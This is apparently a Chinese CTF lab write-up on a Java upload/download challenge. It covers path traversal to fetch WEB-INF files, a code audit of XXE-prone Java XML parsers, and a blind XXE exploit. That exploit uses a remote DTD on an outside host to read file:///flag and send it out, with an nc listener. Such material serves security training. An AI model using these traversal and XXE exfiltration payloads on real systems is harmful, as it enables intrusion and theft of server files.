目录
1、启动靶场,访问页面
2、BP抓包
(三)代码审计
1.XMLReader
2.SAXBuilder
3.SAXReader
4.SAXParserFactory
5.Digester
6.DocumentBuilderFactory
漏洞利用
0x01 判断是否带外执行
0x02 尝试读取内容
1、启动靶场,访问页面
2、BP抓包
我们先尝试随便上传一个文件,发现它会返回一个文件的下载地址,即下载漏洞
先下载配置性文件web.xml
../../../WEB-INF/web-xml
通过配置文件,来下载class文件
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
(三)代码审计
查看里面的代码也有一定的提示:
熟悉java代码审计的师傅,应该很快反应过来了xxe漏洞主要看加载包,函数名。像如下关键接口:
1.XMLReader
XMLReader 接口是一种通过回调读取
XML
文档的接口,其存在于公共区域中。XMLReader 接口是
XML
解析器实现
SAX2
驱动程序所必需的接口,其允许应用程序设置和查询解析器中的功能和属性、注册文档处理的事件处理程序,以及开始文档解析。当XMLReader 使用默认的解析方法并且未对
XML
进行过滤时,会出现
XXE
漏洞。
try {
XMLReader xmlReader = XMLReaderFactory.createXMLReader();
xmlReader.parse(new InputSource(new StringReader(body)));
} catch (Exception e) {
return EXCEPT;
}
2.SAXBuilder
SAXBuilder 是一个 JDOM 解析器,其能够将路径中的 XML 文件解析为 Document 对象。SAXBuilder 使用第三方 SAX 解析器来处理解析任务,并使用 SAXHandler 的实例侦听 SAX 事件。当 SAXBuilder 使用默认的解析方法并且未对 XML 进行过滤时,会出现XXE 漏洞。
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXBuilder builder = new SAXBuilder();
// org.jdom2.Document document
builder.build(new InputSource(new StringReader(body))); // cause xxe
return "SAXBuilder xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
3.SAXReader
DOM4J 是 dom4j.org 出品的一个开源 XML 解析包,使用起来非常简单,只要了解基本的 XML-DOM 模型,就能使用。 DOM4J 读 / 写 XML 文档主要依赖于 org.dom4j.io 包,它有DOMReader 和 SAXReader 两种方式。因为使用了同一个接口,所以这两种方式的调用方法是完全一致的。同样的,在使用默认解析方法并且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXReader reader = new SAXReader();
// org.dom4j.Document document
reader.read(new InputSource(new StringReader(body))); // cause xxe
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
4.SAXParserFactory
SAXParserFactory 使应用程序能够配置和获取基于 SAX 的解析器以解析 XML 文档。其受保护的构造方法,可以强制使用 newInstance() 。跟上面介绍的一样,在使用默认解析方法且未对 XML 进行过滤时,其也会出现 XXE 漏洞。
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
SAXParserFactory spf = SAXParserFactory.newInstance();
SAXParser parser = spf.newSAXParser();
parser.parse(new InputSource(new StringReader(body)), new DefaultHandler()); // parse xml
return "SAXParser xxe vuln code";
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
5.Digester
Digester 类用来将 XML 映射成 Java 类,以简化 XML 的处理。它是 Apache Commons库中的一个 jar 包: common-digester 包。一样的在默认配置下会出现 XXE 漏洞。其触发的 XXE 漏洞是没有回显的,我们一般需通过 Blind XXE 的方法来利用:
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
Digester digester = new Digester();
digester.parse(new StringReader(body)); // parse xml
} catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
6.DocumentBuilderFactory
javax.xml.parsers 包中的 DocumentBuilderFactory 用于创建 DOM 模式的解析器对象, DocumentBuilderFactory 是一个抽象工厂类,它不能直接实例化,但该类提供了newInstance()方法,这个方法会根据本地平台默认安装的解析器,自动创建一个工厂的对象并返回。
try {
String body = WebUtils.getRequestBody(request);
logger.info(body);
DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
DocumentBuilder db = dbf.newDocumentBuilder();
StringReader sr = new StringReader(body);
InputSource is = new InputSource(sr);
Document document = db.parse(is); // parse xml
// 遍历 xml 节点 name 和 value
StringBuffer buf = new StringBuffer();
NodeList rootNodeList = document.getChildNodes();
for (int i = 0; i < rootNodeList.getLength(); i++) {
Node rootNode = rootNodeList.item(i);
NodeList child = rootNode.getChildNodes();
for (int j = 0; j < child.getLength(); j++) {
Node node = child.item(j);
buf.append(node.getNodeName() + ":" + node.getTextContent() + "\n");
}
}
sr.close();
return buf.toString();
}catch (Exception e) {
logger.error(e.toString());
return EXCEPT;
}
漏洞利用
0x01 判断是否带外执行
在dnslog平台申请一个域名,点击上传会有数据外带,说明该程序存在漏洞,我们接下来就是要判断是有回显还是没有回显。
0x02 尝试读取内容
最终判断没有回显,尝试进行反弹shell
1、远程DTD
<DOCTYPE convert[
<!ENTITY %remote SYSTEM "http://www.jinyouxin.com/xxx.dtd">
%remote;%int;%send
]>
<root>&send</send>
2、进行反弹
<!ENTITY %file SYSTEM "file:///flag">
<!ENTITY %int "<!ENTITY %send SYSTEM 'http://www.jinyouxin.com:3333/%file;'>">
3、进行监听
nc -lvvp 3333